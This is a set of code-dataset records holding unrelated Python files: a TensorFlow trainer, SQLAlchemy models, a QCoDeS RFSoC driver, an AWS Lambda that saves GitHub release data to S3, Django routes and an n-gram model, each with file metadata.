# tensorboard\n tf.summary.scalar('train/loss', self.train_loss)\n #tf.summary.scalar('train/accuracy', self.train_accuracy)\n tf.summary.scalar('train/Learning_rate', self.model.optimizer.lr)\n tf.summary.scalar('test/loss', self.test_loss)\n #tf.summary.scalar('test/accuracy', self.test_accuracy)\n return\n\n\n def before_train(self):\n # create saver\n saver = tf.train.Saver(\n max_to_keep=self.checkpoints_to_keep,\n keep_checkpoint_every_n_hours=self.keep_checkpoint_every_n_hours)\n\n scaffold = tf.train.Scaffold(\n saver=saver)\n\n tf.logging.set_verbosity(tf.logging.INFO)\n config = tf.ConfigProto(allow_soft_placement=True, log_device_placement=False)\n\n # saved model\n signature_def_map = {\n 'predict': tf.saved_model.signature_def_utils.build_signature_def(\n inputs={'inputs': tf.saved_model.utils.build_tensor_info(self.valid_x)},\n outputs={'predict': tf.saved_model.utils.build_tensor_info(self.test_logits[0])},\n method_name=tf.saved_model.signature_constants.PREDICT_METHOD_NAME,)\n }\n\n metrics = OrderedDict({\n \"global_step\": self.global_step,\n \"train loss\": self.train_loss,\n \"train accuracy\":self.train_accuracy,\n \"test loss\": self.test_loss,\n \"test accuracy\":self.test_accuracy})\n\n hooks = self.hook_append(metrics, signature_def_map)\n\n session = tf.train.MonitoredTrainingSession(\n config=config,\n checkpoint_dir=self.util.model_path,\n hooks=hooks,\n scaffold=scaffold,\n save_summaries_steps=1,\n save_checkpoint_steps=self.save_checkpoint_steps,\n summary_dir=self.util.tf_board)\n \n return session\n\n def feed_dict_train(self, odd=False):\n self.util.initial()\n self.util.write_configuration(self.message)\n\n inputs, corrects, valid_inputs, valid_corrects = self.load()\n\n # train\n train_log_p, _, _ = self.model.inference(inputs, corrects, valid_inputs, valid_corrects)\n self.train_loss = self.model.loss(train_log_p, None)\n opt_op = self.model.optimize(self.train_loss, self.global_step)\n update_ops = tf.get_collection(tf.GraphKeys.UPDATE_OPS)\n self.train_op = tf.group([opt_op] + update_ops)\n\n # test\n test_log_p, mu, sigma = self.model.test_inference(inputs, corrects, valid_inputs, valid_corrects)\n self.test_loss = self.model.loss(test_log_p, None)\n\n self.summary()\n\n # create saver\n saver = tf.train.Saver(\n max_to_keep=self.checkpoints_to_keep,\n keep_checkpoint_every_n_hours=self.keep_checkpoint_every_n_hours)\n\n scaffold = tf.train.Scaffold(\n saver=saver)\n\n tf.logging.set_verbosity(tf.logging.INFO)\n config = tf.ConfigProto(allow_soft_placement=True, log_device_placement=False)\n\n hooks = []\n hooks.append(tf.train.NanTensorHook(self.train_loss))\n\n session = tf.train.MonitoredTrainingSession(\n config=config,\n checkpoint_dir=self.util.model_path,\n hooks=hooks,\n scaffold=scaffold,\n save_summaries_steps=1,\n save_checkpoint_steps=self.save_checkpoint_steps,\n summary_dir=self.util.tf_board)\n\n with session:\n if self.restore_dir is not None:\n ckpt = tf.train.get_checkpoint_state(self.restore_dir)\n if ckpt and ckpt.model_checkpoint_path:\n # Restores from checkpoint\n saver.restore(session, ckpt.model_checkpoint_path)\n for iter in range(self.max_steps):\n x_train, y_train = self.data.next_batch(self.batch_size)\n x_test, y_test = self.data.next_batch(self.batch_size * 10, test=True)\n _, train_loss, test_loss, test_input, test_answer, test_mu, test_sigma = session.run([self.train_op, self.train_loss, self.test_loss, valid_inputs, valid_corrects, mu, sigma], feed_dict={inputs:x_train, corrects:y_train, valid_inputs:x_test, valid_corrects:y_test})\n if iter % 100 == 0:\n train_log = OrderedDict({\n \"global_step\": iter,\n \"train loss\": train_loss,\n \"test loss\": test_loss})\n self.util.write_log(message=train_log, cout=True)\n if iter % 500 == 0:\n self.util.figure(np.ravel(test_input), test_answer, [np.ravel(test_mu), np.ravel(test_sigma)], iter) \n return", "sub_path": "trainer/ncp_trainer.py", "file_name": "ncp_trainer.py", "file_ext": "py", "file_size_in_byte": 7852, "program_lang": "python", "lang": "en", "doc_type": "code", "dataset": "code-starcoder2", "pt": "57", "api": [{"api_name": "tensorflow.train.get_or_create_global_step", "line_number": 26, "usage_type": "call"}, {"api_name": "tensorflow.train", "line_number": 26, "usage_type": "attribute"}, {"api_name": "utility.Utils", "line_number": 29, "usage_type": "call"}, {"api_name": "tensorflow.placeholder", "line_number": 33, "usage_type": "call"}, {"api_name": "tensorflow.float32", "line_number": 33, "usage_type": "attribute"}, {"api_name": "tensorflow.placeholder", "line_number": 34, "usage_type": "call"}, {"api_name": "tensorflow.float32", "line_number": 34, "usage_type": "attribute"}, {"api_name": "tensorflow.placeholder", "line_number": 36, "usage_type": "call"}, {"api_name": "tensorflow.float32", "line_number": 36, "usage_type": "attribute"}, {"api_name": "tensorflow.placeholder", "line_number": 37, "usage_type": "call"}, {"api_name": "tensorflow.float32", "line_number": 37, "usage_type": "attribute"}, {"api_name": "tensorflow.get_collection", "line_number": 49, "usage_type": "call"}, {"api_name": "tensorflow.GraphKeys", "line_number": 49, "usage_type": "attribute"}, {"api_name": "tensorflow.group", "line_number": 50, "usage_type": "call"}, {"api_name": "tensorflow.train.NanTensorHook", "line_number": 66, "usage_type": "call"}, {"api_name": "tensorflow.train", "line_number": 66, "usage_type": "attribute"}, {"api_name": "hook.MyLoggerHook", "line_number": 67, "usage_type": "call"}, {"api_name": "hook.SavedModelBuilderHook", "line_number": 68, "usage_type": "call"}, {"api_name": "tensorflow.summary.scalar", "line_number": 76, "usage_type": "call"}, {"api_name": "tensorflow.summary", "line_number": 76, "usage_type": "attribute"}, {"api_name": "tensorflow.summary.scalar", "line_number": 78, "usage_type": "call"}, {"api_name": "tensorflow.summary", "line_number": 78, "usage_type": "attribute"}, {"api_name": "tensorflow.summary.scalar", "line_number": 79, "usage_type": "call"}, {"api_name": "tensorflow.summary", "line_number": 79, "usage_type": "attribute"}, {"api_name": "tensorflow.train.Saver", "line_number": 86, "usage_type": "call"}, {"api_name": "tensorflow.train", "line_number": 86, "usage_type": "attribute"}, {"api_name": "tensorflow.train.Scaffold", "line_number": 90, "usage_type": "call"}, {"api_name": "tensorflow.train", "line_number": 90, "usage_type": "attribute"}, {"api_name": "tensorflow.logging.set_verbosity", "line_number": 93, "usage_type": "call"}, {"api_name": "tensorflow.logging", "line_number": 93, "usage_type": "attribute"}, {"api_name": "tensorflow.ConfigProto", "line_number": 94, "usage_type": "call"}, {"api_name": "tensorflow.saved_model.signature_def_utils.build_signature_def", "line_number": 98, "usage_type": "call"}, {"api_name": "tensorflow.saved_model", "line_number": 98, "usage_type": "attribute"}, {"api_name": "tensorflow.saved_model.utils.build_tensor_info", "line_number": 99, "usage_type": "call"}, {"api_name": "tensorflow.saved_model", "line_number": 99, "usage_type": "attribute"}, {"api_name": "tensorflow.saved_model.utils.build_tensor_info", "line_number": 100, "usage_type": "call"}, {"api_name": "tensorflow.saved_model", "line_number": 100, "usage_type": "attribute"}, {"api_name": "tensorflow.saved_model", "line_number": 101, "usage_type": "attribute"}, {"api_name": "collections.OrderedDict", "line_number": 104, "usage_type": "call"}, {"api_name": "tensorflow.train.MonitoredTrainingSession", "line_number": 113, "usage_type": "call"}, {"api_name": "tensorflow.train", "line_number": 113, "usage_type": "attribute"}, {"api_name": "tensorflow.get_collection", "line_number": 134, "usage_type": "call"}, {"api_name": "tensorflow.GraphKeys", "line_number": 134, "usage_type": "attribute"}, {"api_name": "tensorflow.group", "line_number": 135, "usage_type": "call"}, {"api_name": "tensorflow.train.Saver", "line_number": 144, "usage_type": "call"}, {"api_name": "tensorflow.train", "line_number": 144, "usage_type": "attribute"}, {"api_name": "tensorflow.train.Scaffold", "line_number": 148, "usage_type": "call"}, {"api_name": "tensorflow.train", "line_number": 148, "usage_type": "attribute"}, {"api_name": "tensorflow.logging.set_verbosity", "line_number": 151, "usage_type": "call"}, {"api_name": "tensorflow.logging", "line_number": 151, "usage_type": "attribute"}, {"api_name": "tensorflow.ConfigProto", "line_number": 152, "usage_type": "call"}, {"api_name": "tensorflow.train.NanTensorHook", "line_number": 155, "usage_type": "call"}, {"api_name": "tensorflow.train", "line_number": 155, "usage_type": "attribute"}, {"api_name": "tensorflow.train.MonitoredTrainingSession", "line_number": 157, "usage_type": "call"}, {"api_name": "tensorflow.train", "line_number": 157, "usage_type": "attribute"}, {"api_name": "tensorflow.train.get_checkpoint_state", "line_number": 168, "usage_type": "call"}, {"api_name": "tensorflow.train", "line_number": 168, "usage_type": "attribute"}, {"api_name": "collections.OrderedDict", "line_number": 177, "usage_type": "call"}, {"api_name": "numpy.ravel", "line_number": 183, "usage_type": "call"}]} {"seq_id": "226621602", "text": "from sqlalchemy import BigInteger, Column, ForeignKey\nfrom sqlalchemy.orm import backref, relationship\nfrom sqlalchemy_api_handler import ApiHandler\n\nfrom utils.database import db\n\n\nclass ContentTag(ApiHandler,\n db.Model):\n\n contentId = Column(BigInteger(),\n ForeignKey('content.id'),\n primary_key=True)\n\n content = relationship('Content',\n foreign_keys=[contentId],\n backref=backref(\"contentTags\"))\n\n tagId = Column(BigInteger(),\n ForeignKey('tag.id'),\n primary_key=True)\n\n tag = relationship('Tag',\n foreign_keys=[tagId],\n backref=backref(\"contentTags\"))\n", "sub_path": "api/models/content_tag.py", "file_name": "content_tag.py", "file_ext": "py", "file_size_in_byte": 757, "program_lang": "python", "lang": "en", "doc_type": "code", "dataset": "code-starcoder2", "pt": "57", "api": [{"api_name": "sqlalchemy_api_handler.ApiHandler", "line_number": 8, "usage_type": "name"}, {"api_name": "utils.database.db.Model", "line_number": 9, "usage_type": "attribute"}, {"api_name": "utils.database.db", "line_number": 9, "usage_type": "name"}, {"api_name": "sqlalchemy.Column", "line_number": 11, "usage_type": "call"}, {"api_name": "sqlalchemy.BigInteger", "line_number": 11, "usage_type": "call"}, {"api_name": "sqlalchemy.ForeignKey", "line_number": 12, "usage_type": "call"}, {"api_name": "sqlalchemy.orm.relationship", "line_number": 15, "usage_type": "call"}, {"api_name": "sqlalchemy.orm.backref", "line_number": 17, "usage_type": "call"}, {"api_name": "sqlalchemy.Column", "line_number": 19, "usage_type": "call"}, {"api_name": "sqlalchemy.BigInteger", "line_number": 19, "usage_type": "call"}, {"api_name": "sqlalchemy.ForeignKey", "line_number": 20, "usage_type": "call"}, {"api_name": "sqlalchemy.orm.relationship", "line_number": 23, "usage_type": "call"}, {"api_name": "sqlalchemy.orm.backref", "line_number": 25, "usage_type": "call"}]} {"seq_id": "575098842", "text": "import time\nimport numpy as np\nimport ctypes # only for DLL-based instrument\n\nimport qcodes as qc\nfrom qcodes import (Instrument, VisaInstrument,\n ManualParameter, MultiParameter,\n validators as vals)\nfrom qcodes.instrument.channel import InstrumentChannel\nfrom qcodes.instrument.parameter import ParameterWithSetpoints, Parameter\n\nimport SequenceGeneration as sqg\nfrom qcodes.utils.delaykeyboardinterrupt import DelayedKeyboardInterrupt\nimport struct\n\n\nclass AcqChannel(InstrumentChannel):\n\n #initializing the array storing channel instances\n objs = []\n\n def __init__(self, parent: 'RFSoC', name: str, channel: int):\n\n \"\"\"\n Args:\n parent: Instrument that this channel is bound to.\n name: Name to use for this channel.\n channel: channel on the card to use\n \"\"\"\n if channel not in np.arange(1,9):\n raise ValueError('channel number must be in between 1 and 8')\n\n self._adc_channel = channel\n\n super().__init__(parent, name)\n\n AcqChannel.objs.append(self)\n\n self.add_parameter(name='status',\n label = 'ADC{} status'.format(self._adc_channel),\n set_cmd='ADC:ADC{} {}'.format(self._adc_channel,'{:d}'),\n val_mapping={'on': 1, 'off': 0}\n )\n\n #TODO : add allowed values of decimation and mixer frea\n self.add_parameter(name='decfact',\n label='ADC{} decimation factor'.format(self._adc_channel),\n #the decimation works by tiles of two adcs\n set_cmd='ADC:TILE{}:DECFACTOR {}'.format((self._adc_channel-1)//2,'{:d}')\n )\n\n self.add_parameter(name='fmixer',\n label = 'ADC{} mixer frequency'.format(self._adc_channel),\n set_cmd='ADC:ADC{}:MIXER {}'.format(self._adc_channel,'{:.4f}')\n )\n\n self.add_parameter(name='mode',\n label='ADC{} acquisition mode'.format(self._adc_channel),\n vals = vals.Enum('RAW','SUM'),)\n\n\n\n\nclass RFSoC(VisaInstrument):\n\n # all instrument constructors should accept **kwargs and pass them on to\n # super().__init__\n def __init__(self, name, address, **kwargs):\n # supplying the terminator means you don't need to remove it from every\n # response\n super().__init__(name, address, terminator='\\r\\n', **kwargs)\n\n #Add the channel to the instrument\n for adc_num in np.arange(1,9):\n\n adc_name='ADC{}'.format(adc_num)\n adc=AcqChannel(self,adc_name,adc_num)\n self.add_submodule(adc_name, adc)\n\n\n self.add_parameter('nb_measure',\n set_cmd='{}',\n get_parser=int,\n initial_value = int(1))\n\n self.add_parameter( name = 'output_format', \n #Format(string) : 'BIN' or 'ASCII' \n label='Output format',\n vals = vals.Enum('ASCII','BIN'),\n set_cmd='OUTPUT:FORMAT ' + '{}',\n get_cmd='OUTPUT:FORMAT?',\n #snapshot_get = False,\n get_parser=str )\n\n\n def reset_sequence(self):\n \t'''\n \t\tDelete all instances of the Pulse class from the sqg module\n \t'''\n \tfor inst in sqg.Pulse.objs:\n \t\tdel inst\n\n def write_sequence_and_DAC_memory(self):\n\n self.log.info(__name__+ ' sending sequence'+' \\n')\n self.write(sqg.Pulse.generate_sequence_and_DAC_memory())\n\n for obj in sqg.PulseGeneration.objs:\n\n self.log.info(__name__+ ' sending DAC {} 2D memory'.format(obj.channel)+' \\n')\n self.write(obj._DAC_2D_memory)\n\n\n\n def reset_DAC_2D_memory(self, channel):\n \"\"\"\n Reset the 2D memory of one DAC\n\n Input : - channel of the DAC we wantto reset\n \"\"\"\n\n self.log.info(__name__+ ' reset the 2D memory of DAC channel'+ channel+' \\n')\n\n if channel in ['CH1','CH2','CH3','CH4','CH5','CH6','CH7','CH8']:\n\n self.write(\"DAC:DATA:{}:CLEAR\".format(channel))\n\n else:\n raise ValueError('Wrong channel value')\n\n\n def reset_all_DAC_2D_memory(self):\n \"\"\"\n Reset the 2D memory of all the DACs\n \"\"\"\n for channel in ['CH1','CH2','CH3','CH4','CH5','CH6','CH7','CH8']:\n\n self.write(\"DAC:DATA:{}:CLEAR\".format(channel))\n\n\n\n\n def ask_raw(self, cmd: str) -> str:\n \"\"\"\n Overwriting the ask_raw qcodes native function to query binary\n\n Low-level interface to ``visa_handle.ask``.\n\n Args:\n cmd: The command to send to the instrument.\n\n Returns:\n str: The instrument's response.\n \"\"\"\n with DelayedKeyboardInterrupt():\n self.visa_log.debug(f\"Querying: {cmd}\")\n response = self.visa_handle.query_binary_values(cmd, datatype=\"h\", is_big_endian=True)\n self.visa_log.debug(f\"Response: {response}\")\n return response\n\n def reset_PLL(self):\n\n \tself.write(\"DAC:RELAY:ALL 0\")\n \tself.write(\"PLLINIT\")\n \ttime.sleep(5)\n \tself.write(\"DAC:RELAY:ALL 1\")\n\n def reset_output_data(self):\n\n \tself.ask('OUTPUT:DATA?')\n\n def run_and_get_data(self):\n\n rep=self.ask(\"OUTPUT:DATA?\")\n\n tstart = time.perf_counter()\n tick = 0.1\n duree = 2\n rep=[]\n\n # beginning of the sequence\n self.write(\"SEQ:START\")\n time.sleep(2)\n while time.perf_counter()<(tstart+duree):\n\n time.sleep(tick)\n r = self.ask('OUTPUT:DATA?')\n if len(r)>1:\n rep = rep+r\n\n self.write(\"SEQ:STOP\")\n\n # we ask the last packet and add it to the previous\n\n r = self.ask('OUTPUT:DATA?')\n if len(r)>1:\n rep = rep+r\n\n # data decoding\n # 8 I and Q channels\n adcdataI = [[],[],[],[],[],[],[],[]]\n adcdataQ = [[],[],[],[],[],[],[],[]]\n\n i=0\n TSMEM=0\n while (i + 8 )<= len(rep) : # at least one header left\n\n entete = np.array(rep[i:i+8])\n X =entete.astype('int16').tobytes()\n V = X[0]-1 # channel (1 to 8)\n DSPTYPE = X[1]\n #N does not have the same meaning depending on DSTYPE\n N = struct.unpack('I',X[2:6])[0]\n #number of acquisition points in continuous\n #depends on the point length\n NpCont = X[7]*256 + X[6]\n TS= struct.unpack('Q',X[8:16])[0]\n\n # print the header for each packet\n print(\"Channel={}; N={}; DSP_type={}; TimeStamp={}; Np_Cont={}; Delta_TimeStamp={}\".format(V,N,DSPTYPE,TS,NpCont,TS-TSMEM))\n\n TSMEM=TS\n\n iStart=i+8\n # if not in continuous acq mode\n if ((DSPTYPE & 0x2)!=2):\n # raw adcdata for each Np points block\n if ((DSPTYPE & 0x1)==0):\n Np=N\n adcdataI[V]=np.concatenate((adcdataI[V], rep[iStart:iStart+Np]))\n\n #in the accumulation mode, only 1 I and Q point even w mixer OFF\n #mixer ON or OFF\n if ((DSPTYPE & 0x01)==0x1):\n Np=8\n D=np.array(rep[iStart:iStart+Np])\n X = D.astype('int16').tobytes()\n\n #I dvided N and 2 bcse signed 63 bits aligned to the left\n I= struct.unpack('q',X[0:8])[0]/(N*2)\n Q= struct.unpack('q',X[8:16])[0]/(N*2)\n\n #print the point\n print(\"I/Q:\",I,Q,\"Amplitude:\",np.sqrt(I*I+Q*Q),\"Phase:\",180*np.arctan2(I,Q)/np.pi)\n\n adcdataI[V]=np.append(adcdataI[V], I)\n adcdataQ[V]=np.append(adcdataQ[V], Q)\n\n # continuoous acquisition mode with accumulation (reduce the flow of data)\n elif ((DSPTYPE & 0x3)==0x3):\n # mixer OFF : onlyI @2Gs/s or 250Ms/s\n if ((DSPTYPE & 0x20)==0x0):\n # points are already averaged in the PS part\n # format : 16int\n Np = NpCont\n adcdataI[V]=np.concatenate((adcdataI[V], rep[iStart:iStart+Np]))\n\n # mixer ON : I and Q present\n elif ((DSPTYPE & 0x20)==0x20):\n Np = NpCont\n adcdataI[V]=np.concatenate((adcdataI[V], rep[iStart:Np:2]))\n adcdataQ[V]=np.concatenate((adcdataQ[V], rep[iStart+1:Np:2]))\n\n i = iStart+Np # index of the new data block, new header\n\n return adcdataI,adcdataQ\n\n\n\n\n", "sub_path": "old_versions/driver_rfsoc_channel.py", "file_name": "driver_rfsoc_channel.py", "file_ext": "py", "file_size_in_byte": 8854, "program_lang": "python", "lang": "en", "doc_type": "code", "dataset": "code-starcoder2", "pt": "57", "api": [{"api_name": "qcodes.instrument.channel.InstrumentChannel", "line_number": 17, "usage_type": "name"}, {"api_name": "numpy.arange", "line_number": 30, "usage_type": "call"}, {"api_name": "qcodes.validators.Enum", "line_number": 59, "usage_type": "call"}, {"api_name": "qcodes.validators", "line_number": 59, "usage_type": "name"}, {"api_name": "qcodes.VisaInstrument", "line_number": 64, "usage_type": "name"}, {"api_name": "numpy.arange", "line_number": 74, "usage_type": "call"}, {"api_name": "qcodes.validators.Enum", "line_number": 89, "usage_type": "call"}, {"api_name": "qcodes.validators", "line_number": 89, "usage_type": "name"}, {"api_name": "SequenceGeneration.Pulse", "line_number": 100, "usage_type": "attribute"}, {"api_name": "SequenceGeneration.Pulse.generate_sequence_and_DAC_memory", "line_number": 106, "usage_type": "call"}, {"api_name": "SequenceGeneration.Pulse", "line_number": 106, "usage_type": "attribute"}, {"api_name": "SequenceGeneration.PulseGeneration", "line_number": 108, "usage_type": "attribute"}, {"api_name": "qcodes.utils.delaykeyboardinterrupt.DelayedKeyboardInterrupt", "line_number": 155, "usage_type": "call"}, {"api_name": "time.sleep", "line_number": 165, "usage_type": "call"}, {"api_name": "time.perf_counter", "line_number": 176, "usage_type": "call"}, {"api_name": "time.sleep", "line_number": 183, "usage_type": "call"}, {"api_name": "time.perf_counter", "line_number": 184, "usage_type": "call"}, {"api_name": "time.sleep", "line_number": 186, "usage_type": "call"}, {"api_name": "numpy.array", "line_number": 208, "usage_type": "call"}, {"api_name": "struct.unpack", "line_number": 213, "usage_type": "call"}, {"api_name": "struct.unpack", "line_number": 217, "usage_type": "call"}, {"api_name": "numpy.concatenate", "line_number": 230, "usage_type": "call"}, {"api_name": "numpy.array", "line_number": 236, "usage_type": "call"}, {"api_name": "struct.unpack", "line_number": 240, "usage_type": "call"}, {"api_name": "struct.unpack", "line_number": 241, "usage_type": "call"}, {"api_name": "numpy.sqrt", "line_number": 244, "usage_type": "call"}, {"api_name": "numpy.arctan2", "line_number": 244, "usage_type": "call"}, {"api_name": "numpy.pi", "line_number": 244, "usage_type": "attribute"}, {"api_name": "numpy.append", "line_number": 246, "usage_type": "call"}, {"api_name": "numpy.append", "line_number": 247, "usage_type": "call"}, {"api_name": "numpy.concatenate", "line_number": 256, "usage_type": "call"}, {"api_name": "numpy.concatenate", "line_number": 261, "usage_type": "call"}, {"api_name": "numpy.concatenate", "line_number": 262, "usage_type": "call"}]} {"seq_id": "67740377", "text": "import yaml\nimport os\n\nphase = 'development'\n\nroot_path = os.path.abspath(os.path.join(os.path.dirname(__file__), './'))\n\nbigquery_config = yaml.load(\n open(\n os.path.join(root_path, 'config', 'bigquery.yaml'),\n 'r'\n )\n)\n\n\n__all__ = ['phase', 'root_path', 'bigquery_config']\n\n\n# CARDINAL_NUM\nCARDINAL_NUM = 4\n\nif CARDINAL_NUM == 3:\n cardinal = \"3rd\"\nelse:\n cardinal = str(CARDINAL_NUM) + \"th\"\n", "sub_path": "common/utils.py", "file_name": "utils.py", "file_ext": "py", "file_size_in_byte": 419, "program_lang": "python", "lang": "en", "doc_type": "code", "dataset": "code-starcoder2", "pt": "57", "api": [{"api_name": "os.path.abspath", "line_number": 6, "usage_type": "call"}, {"api_name": "os.path", "line_number": 6, "usage_type": "attribute"}, {"api_name": "os.path.join", "line_number": 6, "usage_type": "call"}, {"api_name": "os.path.dirname", "line_number": 6, "usage_type": "call"}, {"api_name": "yaml.load", "line_number": 8, "usage_type": "call"}, {"api_name": "os.path.join", "line_number": 10, "usage_type": "call"}, {"api_name": "os.path", "line_number": 10, "usage_type": "attribute"}]} {"seq_id": "562455163", "text": "import boto3\nimport urllib3\nimport json\nimport os\n\nurllib3.disable_warnings()\n\n# Declaring variables\nhttp = urllib3.PoolManager()\nmy_headers = {'User-Agent': 'Baker371'}\ngit_token = os.getenv('GIT_TOKEN')\ngit_headers = {'Authorization': f'token {git_token}', 'User-Agent': 'Baker371'}\nrepo_url = 'https://api.github.com/users/k8-proxy/repos'\nbucket = 'wmwaredata'\nfileName = 'releases.json'\ns3 = boto3.client('s3')\n\ndef lambda_handler(event, context):\n # Listing all the repos\n repos = []\n resp = http.request('GET',repo_url,headers=my_headers)\n resm = resp.data\n resn = json.loads(resm.decode('utf8'))\n for element in resn:\n ids = element['id']\n repos.append(ids)\n\n # Getting release data from all repos\n gitdata = []\n for repo in repos:\n my_url = f'https://api.github.com/repositories/{repo}/releases'\n res = http.request('GET',my_url,headers=git_headers)\n myres = json.loads(res.data)\n gitdata.append(myres)\n uploads = bytes(json.dumps(gitdata, indent=4, sort_keys=True, default=str).encode('UTF-8'))\n\n # Uploading JSON file to s3 bucket\n s3.put_object(Bucket=bucket, Key=fileName, Body=uploads)\n\n message = {\n 'message': 'JSON file succesfully created and uploaded to S3'\n }\n \n return {\n 'statusCode': 200,\n 'headers': {'Content-Type': 'application/json'},\n 'body': json.dumps(message)\n }\n", "sub_path": "lambda/handler.py", "file_name": "handler.py", "file_ext": "py", "file_size_in_byte": 1733, "program_lang": "python", "lang": "en", "doc_type": "code", "dataset": "code-starcoder2", "pt": "57", "api": [{"api_name": "urllib3.disable_warnings", "line_number": 6, "usage_type": "call"}, {"api_name": "urllib3.PoolManager", "line_number": 9, "usage_type": "call"}, {"api_name": "os.getenv", "line_number": 11, "usage_type": "call"}, {"api_name": "boto3.client", "line_number": 16, "usage_type": "call"}, {"api_name": "json.loads", "line_number": 23, "usage_type": "call"}, {"api_name": "json.loads", "line_number": 33, "usage_type": "call"}, {"api_name": "json.dumps", "line_number": 35, "usage_type": "call"}, {"api_name": "json.dumps", "line_number": 47, "usage_type": "call"}]} {"seq_id": "272287765", "text": "__author__ = '未昔'\n__date__ = '2018/8/20 13:02'\n\nfrom django.conf.urls import url,include\nfrom news.views import NewView,NewContent\n# from organization.views import OrgView,AddUserAskView,OrgHomeView,OrgCourseView\n\n\nurlpatterns = [\n #课程机构首页\n url(r'^list/$', NewView.as_view(), name=\"new_list\"), # 新闻页面\n url(r'^new_content/(\\d+)$', NewContent.as_view(), name=\"new_content\"), # (?P<org_id>\\d+) 那个页面：取出数字\n # url(r'^home/(?P<org_id>\\d+)/$', OrgHomeView.as_view(), name=\"org_home\"), # (?P<org_id>\\d+) 那个页面：取出数字\n # url(r'^course/(?P<org_id>\\d+)/$', OrgCourseView.as_view(), name=\"org_course\"), # 机构课程列表页url\n]\n\n", "sub_path": "apps/news/urls.py", "file_name": "urls.py", "file_ext": "py", "file_size_in_byte": 696, "program_lang": "python", "lang": "en", "doc_type": "code", "dataset": "code-starcoder2", "pt": "57", "api": [{"api_name": "django.conf.urls.url", "line_number": 11, "usage_type": "call"}, {"api_name": "news.views.NewView.as_view", "line_number": 11, "usage_type": "call"}, {"api_name": "news.views.NewView", "line_number": 11, "usage_type": "name"}, {"api_name": "django.conf.urls.url", "line_number": 12, "usage_type": "call"}, {"api_name": "news.views.NewContent.as_view", "line_number": 12, "usage_type": "call"}, {"api_name": "news.views.NewContent", "line_number": 12, "usage_type": "name"}]} {"seq_id": "455158422", "text": "# https://docs.python.org/3/library/collections.html\nfrom collections import defaultdict\nimport math\n\n\nclass NGram(object):\n\n def __init__(self, n, sents):\n \"\"\"\n n -- order of the model.\n sents -- list of sentences, each one being a list of tokens.\n \"\"\"\n assert n > 0\n self.n = n\n self.counts = counts = defaultdict(int)\n\n for sent in sents:\n for i in range(len(sent) - n + 1):\n ngram = tuple(sent[i: i + n])\n counts[ngram] += 1\n counts[ngram[:-1]] += 1\n\n def prob(self, token, prev_tokens=None):\n n = self.n\n if not prev_tokens:\n prev_tokens = []\n assert len(prev_tokens) == n - 1\n\n tokens = prev_tokens + [token]\n return float(self.counts[tuple(tokens)]) / self.counts[tuple(prev_tokens)]\n \n def count(self, tokens):\n \"\"\"Count for an n-gram or (n-1)-gram.\n \n tokens -- the n-gram or (n-1)-gram tuple.\n \"\"\"\n \n def cond_prob(self, token, prev_tokens=None):\n \"\"\"Conditional probability of a token.\n \n token -- the token.\n prev_tokens -- the previous n-1 tokens (optional only if n = 1).\n \"\"\"\n n = self.n\n if not prev_tokens:\n prev_tokens = []\n assert len(prev_tokens) == n - 1\n\n tokens = prev_tokens + [token]\n return float(self.counts[tuple(tokens)]) / self.counts[tuple(prev_tokens)]\n\n def sent_prob(self, sent):\n \"\"\"Probability of a sentence. Warning: subject to underflow problems.\n \n sent -- the sentence as a list of tokens.\n \"\"\"\n sent_prob = 1.0\n for i in range(len(sent)):\n sent_prob *= self.cond_prob(sent[i], sent[i-self.n:i])\n # VER CASOS i<n\n return sent_prob\n\n def sent_log_prob(self, sent):\n \"\"\"Log-probability of a sentence.\n \n sent -- the sentence as a list of tokens.\n \"\"\"\n sent_log_prob = 1.0\n for i in range(len(sent)):\n sent_log_prob *= math.log(self.cond_prob(sent[i], sent[i-self.n:i]))\n # VER CASOS i<n\n return sent_log_prob\n\n\nclass NGramGenerator:\n \n def __init__(self, model):\n \"\"\"\n model -- n-gram model.\n \"\"\"\n self.model = model\n\n def generate_sent(self):\n \"\"\"Randomly generate a sentence.\"\"\"\n sent = []\n prev_tokens = []\n i = 0\n while token != \"STOP\":\n prev_tokens = sent[i - self.model.n : i]\n token = self.generate_token(prev_tokens)\n sent.append(token)\n i += 1\n\n return sent\n\n def generate_token(self, prev_tokens=None):\n \"\"\"\n Randomly generate a token, given prev_tokens.\n \n prev_tokens -- the previous n-1 tokens (optional only if n = 1).\n \"\"\"\n\n # calcular cual de todas las palabras del vocabulario es la \n # mas probable que ocurra dado prev_tokens? ", "sub_path": "languagemodeling/ngram.py", "file_name": "ngram.py", "file_ext": "py", "file_size_in_byte": 2940, "program_lang": "python", "lang": "en", "doc_type": "code", "dataset": "code-starcoder2", "pt": "57", "api": [{"api_name": "collections.defaultdict", "line_number": 15, "usage_type": "call"}, {"api_name": "math.log", "line_number": 70, "usage_type": "call"}]} {"seq_id": "335221150", "text": "#!/usr/bin/python3\n\"\"\" rints all City objects from the database and his associated state \"\"\"\nimport sys\nfrom model_state import Base, State\nfrom model_city import City\nfrom sqlalchemy import (create_engine)\nfrom sqlalchemy.orm import sessionmaker\n\nif __name__ == '__main__':\n engine = create_engine(\n 'mysql+mysqldb://{}:{}@localhost/{}'.format(\n sys.argv[1],\n sys.argv[2],\n sys.argv[3]),\n pool_pre_ping=True\n )\n Session = sessionmaker(bind=engine)\n session = Session()\n states = session.query(\n State, City\n ).filter(\n State.id == City.state_id\n ).order_by(\n City.id.asc()\n ).all()\n for state in states:\n print(\"{}: ({}) {}\".format(\n state[0].name,\n state[1].id,\n state[1].name\n ))\n", "sub_path": "0x0F-python-object_relational_mapping/14-model_city_fetch_by_state.py", "file_name": "14-model_city_fetch_by_state.py", "file_ext": "py", "file_size_in_byte": 839, "program_lang": "python", "lang": "en", "doc_type": "code", "dataset": "code-starcoder2", "pt": "57", "api": [{"api_name": "sqlalchemy.create_engine", "line_number": 10, "usage_type": "call"}, {"api_name": "sys.argv", "line_number": 12, "usage_type": "attribute"}, {"api_name": "sys.argv", "line_number": 13, "usage_type": "attribute"}, {"api_name": "sys.argv", "line_number": 14, "usage_type": "attribute"}, {"api_name": "sqlalchemy.orm.sessionmaker", "line_number": 17, "usage_type": "call"}, {"api_name": "model_state.State", "line_number": 20, "usage_type": "argument"}, {"api_name": "model_city.City", "line_number": 20, "usage_type": "argument"}, {"api_name": "model_state.State.id", "line_number": 22, "usage_type": "attribute"}, {"api_name": "model_state.State", "line_number": 22, "usage_type": "name"}, {"api_name": "model_city.City.state_id", "line_number": 22, "usage_type": "attribute"}, {"api_name": "model_city.City", "line_number": 22, "usage_type": "name"}, {"api_name": "model_city.City.id.asc", "line_number": 24, "usage_type": "call"}, {"api_name": "model_city.City.id", "line_number": 24, "usage_type": 